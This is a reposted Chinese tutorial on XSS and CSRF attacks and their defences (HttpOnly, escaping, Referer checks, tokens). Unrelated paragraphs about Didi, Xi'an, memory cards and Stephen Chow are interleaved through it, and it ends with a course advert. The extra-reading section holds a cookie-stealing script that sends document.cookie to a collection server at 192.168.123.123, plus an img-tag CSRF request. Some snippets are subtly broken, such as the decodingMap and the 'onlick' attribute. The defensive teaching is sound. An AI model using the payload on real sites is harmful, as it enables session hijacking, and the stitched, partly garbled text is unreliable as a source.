详解XSS 和 CSRF简述及预防措施

来源:脚本之家  责任编辑:小易  

下面是CSRF的常见特性: 依靠用户标识危害网站 利用网站对用户标识的信任 欺骗用户的浏览器发送HTTP请求给目标站点 另外可以通过IMG标签会触发一个GET请求,可以利用它来实现CSRF攻击。 CSRF攻击依赖下面的假定: 攻击者了解受害者所在的站点 攻

在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式。本文将会简单介绍 XSS 和 CSRF 的攻防问题。

近年来,手机app的热起,越来越多的公司企业也引入或者投资到android和ios的app行业当中,继而产生手机软件测试的蓬勃发展。而作为基础行业的web测试,和手机

1. xss

web前端全栈开发学习路线: 第一阶段 HTML的学习:超文本标记语言(HyperText Mark-up Language 简称HTML)是一个网页的骨架,无论是静态网页还是动态网页,最终

XSS,即 Cross Site Script,中译是跨站脚本攻击;其原本缩写是 CSS,但为了和层叠样式表(Cascading Style Sheet)有所区分,因而在安全领域叫做 XSS。

1、web安全主要是针对网站、数据库这一类的互联网网站攻击行为的防御。 2、前端、后端、数据库、网络等,与Web安全都有关系

XSS 攻击是指攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

先了解下安全这行的名词,不会在以后觉得措手不及。 先安装虚拟机,熟悉虚拟机用法操作,试着在虚拟机上搭建网站。 熟悉iso模型(七层)。其实就是客户机

攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,有时也会包含 HTML 和 Flash。有很多种方式进行 XSS 攻击,但它们的共同点为:将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。

国内最大网约车出行平台滴滴境况如何?号称日订单2000万,进入合法化轨道后,没有疯狂的补贴,滴滴订单到底剩多少呢?2017年第一季度用户渗透率活跃度双降去年8月,滴滴并购优步中国,用户量阶段性提升。据猎豹大数据平台libra的数据显示,2016年9月滴滴出行用户渗透率达历史最高值2%以上。但随着滴滴Uber的合并,对乘客和司机补贴的减少,用户渗透率一路下跌。直至今年3月,用户渗透率已降至1.4%,下降幅度在30%以上。除了用户渗透率,滴滴现行的用户活跃度也在下降。易观智库数据显示,去年10月是滴滴用户活跃度最高峰,但之后也是跌跌不休,直至今年3月,降至并购后优步中国后的最低值。业内人士分析,滴

XSS攻击可以分为3类:反射型(非持久型)、存储型(持久型)、基于DOM。

我在西安生活了五年,谈下我对西安的感触。西安对于整个国内来讲,算不上高端前沿城市,但绝对是个大城市。整体来讲给人一种古朴但是中间又参杂着零星科技感的城市。很有深度,但是有感觉蒙了一层尘。拿的下中大、赛格,同时又容得了几个规模庞大的城中村。吃得了高端西餐。也能光着胖子关东煮。很接地气的样子。更像是一个普通的人,既有光辉的正面,也有藏垢的背后,各种复杂矛盾于一身。看似别扭的组合,本质上却是它应有的样子,正常的状态

1.1反射性

如今手机内存卡尺寸越来越小,但容量却越来越大,价格也越来越低,不过即便是同一品牌相同容量的不同型号内存卡价格也可能不一样,这里面就会涉及到一些内存卡的技术与概念问题。内存卡对于很多朋友或许都缺乏了解,往往只注重内存卡的容量以及品牌等,但对于什么内存卡好或者是怎么看内存卡好坏都不了解,下面本文将与大家分享下怎么看内存卡,教你如何选择手机内存卡。如今内存卡大致可分为:SD,TF和CF之分,而众多的名词诸如SDHC,Class也让人感到焦躁,购买似乎又成了一个让人纠结的事。SD/TF/SDHC/Class都是啥意思?如何选手机内存卡?要想选择一款合适的手机内存卡,首先就得分清一些名词,只有概念和意思

反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器,这种攻击方式往往需要攻击者诱使用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。

一年一影帝,百年周星驰,我觉得目前来看还没有能够超越他的水平的演员存在,周星驰的出现也有他的历史性,那年代香港电影娱乐爆发,不管是制作速度和投资都比较疯狂,只要你火了一年可以拍十部戏,疯狂的想桥段,因为制作速度快,周星驰这种天才立马想到的段子就能放进去,现在一部戏投资都很大少的都是几千万,多的一两亿,反而希望去精雕细琢,有时候太精雕细琢又觉得有点做作,反而没有了那种随意的幽默搞笑。就像现在的周星驰电影,考虑的太多,又要影片有意义,又要特效很完美,还要桥段很搞笑,反而少了纯粹的搞笑。这个产业链已经这样了,很难再出像他当年一样搞笑的拍各种段子,可能也是先入为主的观念也可能是好笑的都被他演完了,现在

看一个示例。我先准备一个如下的静态页:

恶意链接的地址指向了 localhost:8001/?q=111&p=222。然后,我再启一个简单的 Node 服务处理恶意链接的请求:

const http = require('http'); function handleReequest(req, res) { res.setHeader('Access-Control-Allow-Origin', '*'); res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'}); res.write('<script>alert("反射型 XSS 攻击")</script>'); res.end(); } const server = new http.Server(); server.listen(8001, '127.0.0.1'); server.on('request', handleReequest);

当用户点击恶意链接时,页面跳转到攻击者预先准备的页面,会发现在攻击者的页面执行了 js 脚本:

这样就产生了反射型 XSS 攻击。攻击者可以注入任意的恶意脚本进行攻击,可能注入恶作剧脚本,或者注入能获取用户隐私数据(如cookie)的脚本,这取决于攻击者的目的。

1.2存储型

存储型 XSS 会把用户输入的数据 “存储” 在服务器端,当浏览器请求数据时,脚本从服务器上传回并执行。这种 XSS 攻击具有很强的稳定性。

比较常见的一个场景是攻击者在社区或论坛上写下一篇包含恶意 JavaScript 代码的文章或评论,文章或评论发表后,所有访问该文章或评论的用户,都会在他们的浏览器中执行这段恶意的 JavaScript 代码。

举一个示例。

先准备一个输入页面:

<input type="text" id="input"> <button id="btn">Submit</button> <script> const input = document.getElementById('input'); const btn = document.getElementById('btn'); let val; input.addEventListener('change', (e) => { val = e.target.value; },false); btn.addEventListener('click', (e) => { fetch('http://localhost:8001/save', { method: 'POST', body: val }); }, false); </script>

启动一个 Node 服务监听 save 请求。为了简化,用一个变量来保存用户的输入:

const http = require('http'); let userInput = ''; function handleReequest(req, res) { const method = req.method; res.setHeader('Access-Control-Allow-Origin', '*'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type') if (method === 'POST' && req.url === '/save'){ let body = ''; req.on('data',chunk => { body += chunk; }); req.on('end', () => { if (body) { userInput = body; } res.end(); }); } else { res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'}); res.write(userInput); //将输入的脚本内容返回给前端页面 res.end(); } } const server = new http.Server(); server.listen(8001, '127.0.0.1'); server.on('request', handleReequest);

当用户点击提交按钮将输入信息提交到服务端时,服务端通过 userInput 变量保存了输入内容。当用户通过 http://localhost:8001/${id} 访问时,服务端会返回与 id 对应的内容(本示例简化了处理)。如果用户输入了恶意脚本内容,则其他用户访问该内容时,恶意脚本就会在浏览器端执行:

1.3 基于DOM

基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。

看如下代码:

<h2>XSS: </h2> <input type="text" id="input"> <button id="btn">Submit</button> <div id="div"></div> <script> const input = document.getElementById('input'); const btn = document.getElementById('btn'); const div = document.getElementById('div'); let val; input.addEventListener('change', (e) => { val = e.target.value; }, false); btn.addEventListener('click', () => { div.innerHTML = `<a href=${val}>testLink</a>` }, false); </script>

点击 Submit 按钮后,会在当前页面插入一个链接,其地址为用户的输入内容。如果用户在输入时构造了如下内容:

'' onclick=alert(/xss/)

用户提交之后,页面代码就变成了:

<a href onlick="alert(/xss/)">testLink</a>

此时,用户点击生成的链接,就会执行对应的脚本:

2.XSS攻击的防范

现在主流的浏览器内置了防范 XSS 的措施,例如 CSP。但对于开发者来说,也应该寻找可靠的解决方案来防止 XSS 攻击。

2.1 HttpOnly 防止劫取 Cookie

HttpOnly 最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript 访问带有 HttpOnly 属性的Cookie。

上文有说到,攻击者可以通过注入恶意脚本获取用户的 Cookie 信息。通常 Cookie 中都包含了用户的登录凭证信息,攻击者在获取到 Cookie 之后,则可以发起 Cookie 劫持攻击。所以,严格来说,HttpOnly 并非阻止 XSS 攻击,而是能阻止 XSS 攻击后的 Cookie 劫持攻击。

2.2 输入检查

不要相信用户的任何输入。 对于用户的任何输入要进行检查、过滤和转义。建立可信任的字符和 HTML 标签白名单,对于不在白名单之列的字符或者标签进行过滤或编码。

在 XSS 防御中,输入检查一般是检查用户输入的数据中是否包含 <,> 等特殊字符,如果存在,则对特殊字符进行过滤或编码,这种方式也称为 XSS Filter。

而在一些前端框架中,都会有一份 decodingMap, 用于对用户输入所包含的特殊字符或标签进行编码或过滤,如 <,>,script,防止 XSS 攻击:

// vuejs 中的 decodingMap // 在 vuejs 中,如果输入带 script 标签的内容,会直接过滤掉 const decodingMap = { '<': '<', '>': '>', '"': '"', '&': '&', ' ': '\n' }

2.3输出检查

用户的输入会存在问题,服务端的输出也会存在问题。一般来说,除富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。

3.CSRF

CSRF,即 Cross Site Request Forgery,中译是跨站请求伪造,是一种劫持受信任用户向服务器发送非预期请求的攻击方式。

通常情况下,CSRF 攻击是攻击者借助受害者的 Cookie 骗取服务器的信任,可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击服务器,从而在并未授权的情况下执行在权限保护之下的操作。

在举例子之前,先说说浏览器的 Cookie 策略

3.1 浏览器的 Cookie 策略

Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。Cookie 主要用于以下三个方面: 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息) 个性化设置(如用户自定义设置、主题等) 个性化设置(如用户自定义设置、主题等)

而浏览器所持有的 Cookie 分为两种: Session Cookie(会话期 Cookie):会话期 Cookie 是最简单的Cookie,它不需要指定过期时间(Expires)或者有效期(Max-Age),它仅在会话期内有效,浏览器关闭之后它会被自动删除。 Permanent Cookie(持久性 Cookie):与会话期 Cookie 不同的是,持久性 Cookie 可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。

res.setHeader('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

上述代码创建了两个 Cookie:mycookie 和 test,前者属于会话期 Cookie,后者则属于持久性 Cookie。当我们去查看 Cookie 相关的属性时,不同的浏览器对会话期 Cookie 的 Expires 属性值会不一样:

此外,每个 Cookie 都会有与之关联的域,这个域的范围一般通过 donmain 属性指定。如果 Cookie 的域和页面的域相同,那么我们称这个 Cookie 为第一方 Cookie(first-party cookie),如果 Cookie 的域和页面的域不同,则称之为第三方 Cookie(third-party cookie)。一个页面包含图片或存放在其他域上的资源(如图片)时,第一方的 Cookie 也只会发送给设置它们的服务器。

3.2 通过 Cookie 进行 CSRF 攻击

假设有一个 bbs 站点:http://www.c.com,当登录后的用户发起如下 GET 请求时,会删除 ID 指定的帖子:

http://www.c.com:8002/content/delete/:id

如发起 http://www.c.com:8002/content/delete/87343 请求时,会删除 id 为 87343 的帖子。当用户登录之后,会设置如下 cookie:

res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

user 对应的值是用户 ID。然后构造一个页面 A:

CSRF 攻击者准备的网站:

<p>CSRF 攻击者准备的网站:</p> <img src="http://www.c.com:8002/content/delete/87343">

页面 A 使用了一个 img 标签,其地址指向了删除用户帖子的链接:

可以看到,当登录用户访问攻击者的网站时,会向 www.c.com 发起一个删除用户帖子的请求。此时若用户在切换到 www.c.com 的帖子页面刷新,会发现ID 为 87343 的帖子已经被删除。

由于 Cookie 中包含了用户的认证信息,当用户访问攻击者准备的攻击环境时,攻击者就可以对服务器发起 CSRF 攻击。在这个攻击过程中,攻击者借助受害者的 Cookie 骗取服务器的信任,但并不能拿到 Cookie,也看不到 Cookie 的内容。而对于服务器返回的结果,由于浏览器同源策略的限制,攻击者也无法进行解析。因此,攻击者无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。

但若 CSRF 攻击的目标并不需要使用 Cookie,则也不必顾虑浏览器的 Cookie 策略了。

4.CSRF 攻击的防范

当前,对 CSRF 攻击的防范措施主要有如下几种方式。

4.1 验证码

验证码被认为是对抗 CSRF 攻击最简洁而有效的防御方法。

从上述示例中可以看出,CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终请求。因为通常情况下,验证码能够很好地遏制 CSRF 攻击。

但验证码并不是万能的,因为出于用户考虑,不能给网站所有的操作都加上验证码。因此,验证码只能作为防御 CSRF 的一种辅助手段,而不能作为最主要的解决方案。

4.2 Referer Check

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。通过 Referer Check,可以检查请求是否来自合法的”源”。

比如,如果用户要删除自己的帖子,那么先要登录 www.c.com,然后找到对应的页面,发起删除帖子的请求。此时,Referer 的值是 http://www.c.com;当请求是从 www.a.com 发起时,Referer 的值是 http://www.a.com 了。因此,要防御 CSRF 攻击,只需要对于每一个删帖请求验证其 Referer 值,如果是以 www.c.com 开头的域名,则说明该请求是来自网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是 CSRF 攻击,可以拒绝该请求。

针对上文的例子,可以在服务端增加如下代码:

if (req.headers.referer !== 'http://www.c.com:8002/') { res.write('csrf 攻击'); return; }

Referer Check 不仅能防范 CSRF 攻击,另一个应用场景是 “防止图片盗链”。

4.3 添加 token 验证(token==令牌)

CSRF 攻击之所以能够成功,是因为攻击者可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

总结

本文主要介绍了 XSS 和 CSRF 的攻击原理和防御措施。当然,在 Web 安全领域,除了这两种常见的攻击方式,也存在这 SQL 注入等其它攻击方式,这不在本文的讨论范围之内,如果你对其感兴趣,可以阅读SQL注入技术专题的专栏详细了解相关信息。最后,总结一下 XSS 攻击和 CSRF 攻击的常见防御措施:

1.防御XSS攻击 HttpOnly 防止劫取 Cookie 用户的输入检查 服务端的输出检查

2.防御CSRF攻击 验证码 Referer Check Token 验证

扩展阅读,根据您访问的内容系统为您准备了以下内容,希望对您有帮助。

解释什么是xss,csrf,sql注入以及如何防范

权限控制 以及SQL注入、CSRF跨站脚本攻击、XSS漏洞分别在URL参数、表单中的攻击,Session超时等,这主要是web系统的安全测试

XSS与CSRF有什么区别吗?

XSS是获取信息,不需要提前知道其他用户页面的代码和数据包。CSRF是代替用户完成指定的动作,需要知道其他用户页面的代码和数据包。要完成一次CSRF攻击,受害者必须依次完成两个步骤:

登录受信任网站A,并在本地生成Cookie。

在不登出A的情况下,访问危险网站B。

CSRF的防御

服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。通过验证码的方法。

by三人行慕课本回答被网友采纳

前端安全方面有没有了解?xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 <script type="text/javascript"></script> 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "http://192.168.123.123/myxss/";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 用于通讯

var hideFrame = document.createElement("");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了*,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。

现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题&content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。

比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 ,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就*近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

智圭谷Python课程内容全面吗?

以下是我校的Python全栈课程内容,可以对比参考一下

阶段一:Python开发基础

Python开发基础课程内容包括:计算机硬件、操作系统原理、安装linux操作系统、linux操作系统维护常用命令、Python语言介绍、环境安装、基本语法、基本数据类型、二进制运算、流程控制、字符编码、文件处理、数据类型、用户认证、*菜单程序、购物车程序开发、函数、内置方法、递归、迭代器、装饰器、内置方法、员工信息表开发、模块的跨目录导入、常用标准库学习,b加密\re正则\logging日志模块等,软件开发规范学习,计算器程序、ATM程序开发等。

阶段二:Python高级级编编程&数据库开发

Python高级级编编程&数据库开发课程内容包括:面向对象介绍、特性、成员变量、方法、封装、继承、多态、类的生成原理、MetaClass、__new__的作用、抽象类、静态方法、类方法、属性方法、如何在程序中使用面向对象思想写程序、选课程序开发、TCP/IP协议介绍、Socket网络套接字模块学习、简单远程命令执行客户端开发、C\S架构FTP服务器开发、线程、进程、队列、IO多路模型、数据库类型、特性介绍,表字段类型、表结构构建语句、常用增删改查语句、索引、存储过程、视图、触发器、事务、分组、聚合、分页、连接池、基于数据库的学员管理系统开发等。

阶段三:前端开发

前端开发课程内容包括:HTML\CSS\JS学习、DOM操作、JSONP、原生Ajax异步加载、购物商城开发、Jquery、动画效果、事件、定时期、轮播图、跑马灯、HTML5\CSS3语法学习、bootstrap、抽屉新热榜开发、流行前端框架介绍、Vue架构剖析、mvvm开发思想、Vue数据绑定与计算属性、条件渲染类与样式绑定、表单控件绑定、事件绑定webpack使用、vue-router使用、vuex单向数据流与应用结构、vuex actions与mutations热重载、vue单页面项目实战开发等。

阶段四:WEB框架开发

WEB框架开发课程内容包括:Web框架原理剖析、Web请求生命周期、自行开发简单的Web框架、MTV\MVC框架介绍、Django框架使用、路由系统、模板引擎、FBV\CBV视图、Models ORM、FORM、表单验证、Django session & cookie、CSRF验证、XSS、中间件、分页、自定义tags、Django Admin、cache系统、信号、message、自定义用户认证、Memcached、redis缓存学习、RabbitMQ队列学习、Celery分布式任务队列学习、Flask框架、Tornado框架、Restful API、BBS+Blog实战项目开发等。

阶段五:爬虫开发

